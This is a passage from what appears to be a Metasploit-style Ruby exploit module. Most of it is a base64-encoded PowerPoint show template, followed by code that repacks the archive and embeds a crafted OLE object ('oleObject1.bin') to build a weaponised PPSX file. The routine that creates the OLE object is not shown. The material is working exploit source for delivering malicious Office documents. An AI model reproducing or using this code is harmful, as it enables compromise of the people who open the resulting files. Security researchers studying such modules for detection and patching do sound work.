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
ABcAAABkb2NQcm9wcy90aHVtYm5haWwuanBlZ//Y/+AAEEpGSUYAAQEBAGAAYAAA
/9sAQwADAgIDAgIDAwMDBAMDBAUIBQUEBAUKBwcGCAwKDAwLCgsLDQ4SEA0OEQ4L
CxAWEBETFBUVFQwPFxgWFBgSFBUU/9sAQwEDBAQFBAUJBQUJFA0LDRQUFBQUFBQU
FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU/8AAEQgA
kAEAAwEiAAIRAQMRAf/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC//E
ALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEV
UtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVm
Z2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrC
w8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5+v/EAB8BAAMBAQEB
AQEBAQEAAAAAAAABAgMEBQYHCAkKC//EALURAAIBAgQEAwQHBQQEAAECdwABAgMR
BAUhMQYSQVEHYXETIjKBCBRCkaGxwQkjM1LwFWJy0QoWJDThJfEXGBkaJicoKSo1
Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKT
lJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm
5+jp6vLz9PX29/j5+v/aAAwDAQACEQMRAD8A/VOiiigAooooAKKKKACiiigAoooo
AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo
AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo
AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo
AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo
AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo
AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo
AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo
AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo
AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo
AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo
AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo
AKKKKACiiigAooooAKKKKACiiigAooooAKKKKAP/2VBLAwQUAAYACAAAACEAGAsR
G4oBAAAwAwAAEQAAAHBwdC9wcmVzUHJvcHMueG1srNLNitswEADge6HvYHRX9GPZ
iU2cRY4UKPRQyvYBhC0norZkJGV3S+m7V3WyS7alsJSeRkLM6BtptndP05g9aB+M
sw0gKwwybTvXG3tswJf7A9yALERlezU6qxvwTQdwt3v/bjvXs9dB26hiSv3ks1TI
hlo14BTjXCMUupOeVFi5Wdt0Njg/qZi2/oh6rx7TBdOIKMYlmpSx4Jrv35LvhsF0
WrjuPCXApYjX4yIJJzOH52rzW6rd9vGKtEtN6qf4McTrKjt704Dvcl3uZcU4LHG+
h4wwCttKtrAUJF9jTDCn6x+/sgmrexM65fsPkzpq2ZsoVFTPOML+4E2m8y64Ia46
N137RLN71H52ZmmV4Ot7PaixARig3RYtuNdGkROOS8rhutpwyHJaQd4KAduWb4qy
pLgg+MWoB3Ue42IUs/mPPEr/CjyIQh44FxDLvYSsyCWsNjmBrGxp3soUcnYBFnV3
Uj7ee9V9TVPzWQ+tCrp/YRb/wqS3THKLvMTl09HvQ777CQAA//8DAFBLAwQUAAYA
CAAAACEA2P2Nj6wAAAC2AAAAEwAAAHBwdC90YWJsZVN0eWxlcy54bWwMzEkOgjAY
QOG9iXdo/n0tQ1EkFMIgK3fqASqUIelAaKMS491l+fKSL80/SqKXWOxkNAP/4AES
ujXdpAcGj3uDY0DWcd1xabRgsAoLebbfpTxxT3lzqxRX69CmaJtwBqNzc0KIbUeh
uD2YWejt9WZR3G25DKRb+HvTlSSB5x2J4pMG1ImewTeqgiCitMCny+WIaUgDXHo0
xnFU1tW5qf0qLH5Asj8AAAD//wMAUEsDBBQABgAIAAAAIQBtI27ZiAEAACoDAAAR
AAAAcHB0L3ZpZXdQcm9wcy54bWyMUk1PwzAMvSPxH6Lcod009lGtm0AILhyQNrhH
idcFtUkUZ1u3X4+bdqMTHLjF9vPze47ny7oq2R48amtyPrhPOQMjrdKmyPnH+uVu
yhkGYZQorYGcHwH5cnF7M3fZXsPh3TMiMJiJnG9DcFmSoNxCJfDeOjBU21hfiUCh
LxLlxYGIqzIZpuk4qYQ2vOv3/+m3m42W8GzlrgITWhIPpQgkHrfa4ZnN/YfNeUCi
id1XkhZkzjTA8rO1uLX+9CT8irC0gkrUutInUBFIJMF6UG+wCQxPtMOH2XTEmdgF
+6i+dhhynvKkD11bF5Gz0XgcS8n1vAaLpVbwE8pVqToxaIRb21evVUMci11lTxKl
KEniIOaxCRZzkWHN6HMn9JXUM0jjTMoef2eTS5fLrNeFNqym4mzI2THn5KvFdBMb
VLEjoW8YusJFZ8t17cLYALiGOvSM9Sxfyx20uvpae6m/haZR5tnJhTvu99fogla4
ckLSRTJJzZMxnQBn8nh+tiztmS++AQAA//8DAFBLAwQUAAYACAAAACEAkU5i9R0C
AACSBQAAEAAIAWRvY1Byb3BzL2FwcC54bWwgogQBKKAAAQAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAC0VE1v2zAMvQ/YfxB8b5zsoxgCxUWRNsghWQPEac+KRcfCZMmQmKzdrx8tx56z
ZAU6bD49ks+PBCmS3zyXmh3AeWXNJBoNhhEDk1mpzG4SbdLZ1ZeIeRRGCm0NTKIX
8NFN8v4dXzlbgUMFnpGE8ZOoQKzGceyzAkrhBxQ2FMmtKwWS6XaxzXOVwZ3N9iUY
jD8Mh9cxPCMYCfKq6gSjRnF8wL8VlTar6/OP6UtFeglPLQqdqhKSIY9/GfzJOulr
XwP4bVVplQmkbiRLlTnrbY7sIaRgK/sd3MoqgzzuE6kX4Cl3sGahtORJSfCZAzA8
vhDmK+HEzomqCNl7Fl/r+tdkxOMj4l8tQqA1gM+VlGCOUXKf2Hy5nGpVhUAL+ToT
GqbUkSQX2gNJdw4+B1FPeyWUI+YBxwfI0Drm1Q+aN41/KzzUfZxEB+GUMBg1tMYI
WFceXTKzBj3beJA87pwB9rl9rD4lHwOBwKvERiulRwBv0B69Qfu+3AK1UbKHxT1b
g6t34j+lCpNiqUIN/yBFMMLICJ8Os0nxkNPzwguzve7PNtTQTLYp55b0db+8Dk2F
VlunXouxhdoVeJFxXKazWXaIije4dXtfsJXKcO/+QOu2kfUX7KyhbWt+a8ZCmW9+
U6X2TiC0a3Hq5OtCOJB0Wrq16Rx8Tl1zuuZPC2F2IFvOeaC+Ko/NiU1GnwdD+sIB
aX31hWhvX/ITAAD//wMAUEsDBBQABgAIAAAAIQDWV40PWgEAAKkCAAARAAgBZG9j
UHJvcHMvY29yZS54bWwgogQBKKAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACUkkFvwiAYhu9L
9h8a7i1F56JNi8m2eJpJE1227EbgU8laaACt/fej1VbNvOwI78OTjxfS+bEsggMY
K7XKEIliFIDiWki1zdDHehFOUWAdU4IVWkGGGrBoTh8fUl4lXBvIja7AOAk28CZl
E15laOdclWBs+Q5KZiNPKB9utCmZ80uzxRXjP2wLeBTHz7gExwRzDLfCsBqM6KwU
fFBWe1N0AsExFFCCchaTiOAL68CU9u6BLrkiS+maCu6ifTjQRysHsK7rqB53qJ+f
4K/l+6q7aihV2xUHRFPBEyddATTXNZhcS+WC3ID1EzPny07xQLQsN8CcNnQFfG/k
punifrMtu2DWLf27bCSIl+aK+5u1uIGDbN+Uko4Ylum5oJMbROAvlpxq6JPP8evb
eoHoKCaTMJ6GY7ImJJnMkvjpux3r5vxFWJ4H+I+RzK6MvYB2E99+LvoLAAD//wMA
UEsBAi0AFAAGAAgAAAAhAOCRipnYAQAAOA0AABMAAAAAAAAAAAAAAAAAAAAAAFtD
b250ZW50X1R5cGVzXS54bWxQSwECLQAUAAYACAAAACEAaPh0oQMBAADiAgAACwAA
AAAAAAAAAAAAAAARBAAAX3JlbHMvLnJlbHNQSwECLQAUAAYACAAAACEAtZ4Z+gkB
AADmAgAAIAAAAAAAAAAAAAAAAABFBwAAcHB0L3NsaWRlcy9fcmVscy9zbGlkZTEu
eG1sLnJlbHNQSwECLQAUAAYACAAAACEAGy41BwwBAADQAwAAHwAAAAAAAAAAAAAA
AACMCAAAcHB0L19yZWxzL3ByZXNlbnRhdGlvbi54bWwucmVsc1BLAQItABQABgAI
AAAAIQDBeX00KQIAAIwMAAAUAAAAAAAAAAAAAAAAAN0KAABwcHQvcHJlc2VudGF0
aW9uLnhtbFBLAQItABQABgAIAAAAIQC8TmvShQQAAKkMAAAVAAAAAAAAAAAAAAAA
ADgNAABwcHQvc2xpZGVzL3NsaWRlMS54bWxQSwECLQAUAAYACAAAACEA1dGS8bwA
AAA3AQAALAAAAAAAAAAAAAAAAADwEQAAcHB0L3NsaWRlTGF5b3V0cy9fcmVscy9z
bGlkZUxheW91dDQueG1sLnJlbHNQSwECLQAUAAYACAAAACEA1dGS8bwAAAA3AQAA
LAAAAAAAAAAAAAAAAAD2EgAAcHB0L3NsaWRlTGF5b3V0cy9fcmVscy9zbGlkZUxh
eW91dDgueG1sLnJlbHNQSwECLQAUAAYACAAAACEA1dGS8bwAAAA3AQAALAAAAAAA
AAAAAAAAAAD8EwAAcHB0L3NsaWRlTGF5b3V0cy9fcmVscy9zbGlkZUxheW91dDku
eG1sLnJlbHNQSwECLQAUAAYACAAAACEA1dGS8bwAAAA3AQAALQAAAAAAAAAAAAAA
AAACFQAAcHB0L3NsaWRlTGF5b3V0cy9fcmVscy9zbGlkZUxheW91dDEwLnhtbC5y
ZWxzUEsBAi0AFAAGAAgAAAAhANXRkvG8AAAANwEAACwAAAAAAAAAAAAAAAAACRYA
AHBwdC9zbGlkZUxheW91dHMvX3JlbHMvc2xpZGVMYXlvdXQ3LnhtbC5yZWxzUEsB
Ai0AFAAGAAgAAAAhANXRkvG8AAAANwEAACwAAAAAAAAAAAAAAAAADxcAAHBwdC9z
bGlkZUxheW91dHMvX3JlbHMvc2xpZGVMYXlvdXQ1LnhtbC5yZWxzUEsBAi0AFAAG
AAgAAAAhANXRkvG8AAAANwEAAC0AAAAAAAAAAAAAAAAAFRgAAHBwdC9zbGlkZUxh
eW91dHMvX3JlbHMvc2xpZGVMYXlvdXQxMS54bWwucmVsc1BLAQItABQABgAIAAAA
IQBpol8hFQEAAMcHAAAsAAAAAAAAAAAAAAAAABwZAABwcHQvc2xpZGVNYXN0ZXJz
L19yZWxzL3NsaWRlTWFzdGVyMS54bWwucmVsc1BLAQItABQABgAIAAAAIQDV0ZLx
vAAAADcBAAAsAAAAAAAAAAAAAAAAAHsaAABwcHQvc2xpZGVMYXlvdXRzL19yZWxz
L3NsaWRlTGF5b3V0MS54bWwucmVsc1BLAQItABQABgAIAAAAIQDV0ZLxvAAAADcB
AAAsAAAAAAAAAAAAAAAAAIEbAABwcHQvc2xpZGVMYXlvdXRzL19yZWxzL3NsaWRl
TGF5b3V0Mi54bWwucmVsc1BLAQItABQABgAIAAAAIQDV0ZLxvAAAADcBAAAsAAAA
AAAAAAAAAAAAAIccAABwcHQvc2xpZGVMYXlvdXRzL19yZWxzL3NsaWRlTGF5b3V0
Ni54bWwucmVsc1BLAQItABQABgAIAAAAIQDjbfGazwMAALAMAAAiAAAAAAAAAAAA
AAAAAI0dAABwcHQvc2xpZGVMYXlvdXRzL3NsaWRlTGF5b3V0MTEueG1sUEsBAi0A
FAAGAAgAAAAhAB05PjU6BwAAfDIAACEAAAAAAAAAAAAAAAAAnCEAAHBwdC9zbGlk
ZU1hc3RlcnMvc2xpZGVNYXN0ZXIxLnhtbFBLAQItABQABgAIAAAAIQDGjU/uxgMA
ADsPAAAhAAAAAAAAAAAAAAAAABUpAABwcHQvc2xpZGVMYXlvdXRzL3NsaWRlTGF5
b3V0NC54bWxQSwECLQAUAAYACAAAACEAqHYRLWsEAAA5EQAAIQAAAAAAAAAAAAAA
AAAaLQAAcHB0L3NsaWRlTGF5b3V0cy9zbGlkZUxheW91dDMueG1sUEsBAi0AFAAG
AAgAAAAhAJfmF4t6AwAAmQsAACEAAAAAAAAAAAAAAAAAxDEAAHBwdC9zbGlkZUxh
eW91dHMvc2xpZGVMYXlvdXQyLnhtbFBLAQItABQABgAIAAAAIQCzXO+0LwQAAFkO
AAAhAAAAAAAAAAAAAAAAAH01AABwcHQvc2xpZGVMYXlvdXRzL3NsaWRlTGF5b3V0
MS54bWxQSwECLQAUAAYACAAAACEA1dGS8bwAAAA3AQAALAAAAAAAAAAAAAAAAADr
OQAAcHB0L3NsaWRlTGF5b3V0cy9fcmVscy9zbGlkZUxheW91dDMueG1sLnJlbHNQ
SwECLQAUAAYACAAAACEA0khaPOoEAAA1GQAAIQAAAAAAAAAAAAAAAADxOgAAcHB0
L3NsaWRlTGF5b3V0cy9zbGlkZUxheW91dDUueG1sUEsBAi0AFAAGAAgAAAAhAPNo
Qy3tAgAAagcAACEAAAAAAAAAAAAAAAAAGkAAAHBwdC9zbGlkZUxheW91dHMvc2xp
ZGVMYXlvdXQ3LnhtbFBLAQItABQABgAIAAAAIQDiS6XWmgMAANALAAAiAAAAAAAA
AAAAAAAAAEZDAABwcHQvc2xpZGVMYXlvdXRzL3NsaWRlTGF5b3V0MTAueG1sUEsB
Ai0AFAAGAAgAAAAhAKJnvlqVBAAAKhIAACEAAAAAAAAAAAAAAAAAIEcAAHBwdC9z
bGlkZUxheW91dHMvc2xpZGVMYXlvdXQ5LnhtbFBLAQItABQABgAIAAAAIQCzYB5L
xAQAALsSAAAhAAAAAAAAAAAAAAAAAPRLAABwcHQvc2xpZGVMYXlvdXRzL3NsaWRl
TGF5b3V0OC54bWxQSwECLQAUAAYACAAAACEATUWDXBsDAAC8CAAAIQAAAAAAAAAA
AAAAAAD3UAAAcHB0L3NsaWRlTGF5b3V0cy9zbGlkZUxheW91dDYueG1sUEsBAi0A
FAAGAAgAAAAhAMqrU7O+AAAAJAEAACcAAAAAAAAAAAAAAAAAUVQAAHBwdC9kcmF3
aW5ncy9fcmVscy92bWxEcmF3aW5nMS52bWwucmVsc1BLAQItABQABgAIAAAAIQDg
2BvwGQYAAJcaAAAUAAAAAAAAAAAAAAAAAFRVAABwcHQvdGhlbWUvdGhlbWUxLnht
bFBLAQItABQABgAIAAAAIQDW7bmgNAIAAGUFAAAcAAAAAAAAAAAAAAAAAJ9bAABw
cHQvZHJhd2luZ3Mvdm1sRHJhd2luZzEudm1sUEsBAi0AFAAGAAgAAAAhAJ4r0ItY
AAAAwAEAABQAAAAAAAAAAAAAAAAADV4AAHBwdC9tZWRpYS9pbWFnZTEud21mUEsB
Ai0ACgAAAAAAAAAhAELHvQqzBAAAswQAABcAAAAAAAAAAAAAAAAAl14AAGRvY1By
b3BzL3RodW1ibmFpbC5qcGVnUEsBAi0AFAAGAAgAAAAhABgLERuKAQAAMAMAABEA
AAAAAAAAAAAAAAAAf2MAAHBwdC9wcmVzUHJvcHMueG1sUEsBAi0AFAAGAAgAAAAh
ANj9jY+sAAAAtgAAABMAAAAAAAAAAAAAAAAAOGUAAHBwdC90YWJsZVN0eWxlcy54
bWxQSwECLQAUAAYACAAAACEAbSNu2YgBAAAqAwAAEQAAAAAAAAAAAAAAAAAVZgAA
cHB0L3ZpZXdQcm9wcy54bWxQSwECLQAUAAYACAAAACEAkU5i9R0CAACSBQAAEAAA
AAAAAAAAAAAAAADMZwAAZG9jUHJvcHMvYXBwLnhtbFBLAQItABQABgAIAAAAIQDW
V40PWgEAAKkCAAARAAAAAAAAAAAAAAAAAB9rAABkb2NQcm9wcy9jb3JlLnhtbFBL
BQYAAAAAKAAoAC4MAACwbQAAAAA=
|)
      ppsx = Rex::Zip::Archive.new
      
      Zip::InputStream.open(StringIO.new(data)) do |zis|
         while entry = zis.get_next_entry
            ppsx.add_file(entry.name, zis.read)
         end
      end
      
      ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid))
      ppsx.pack
   end

end

download

Work with us →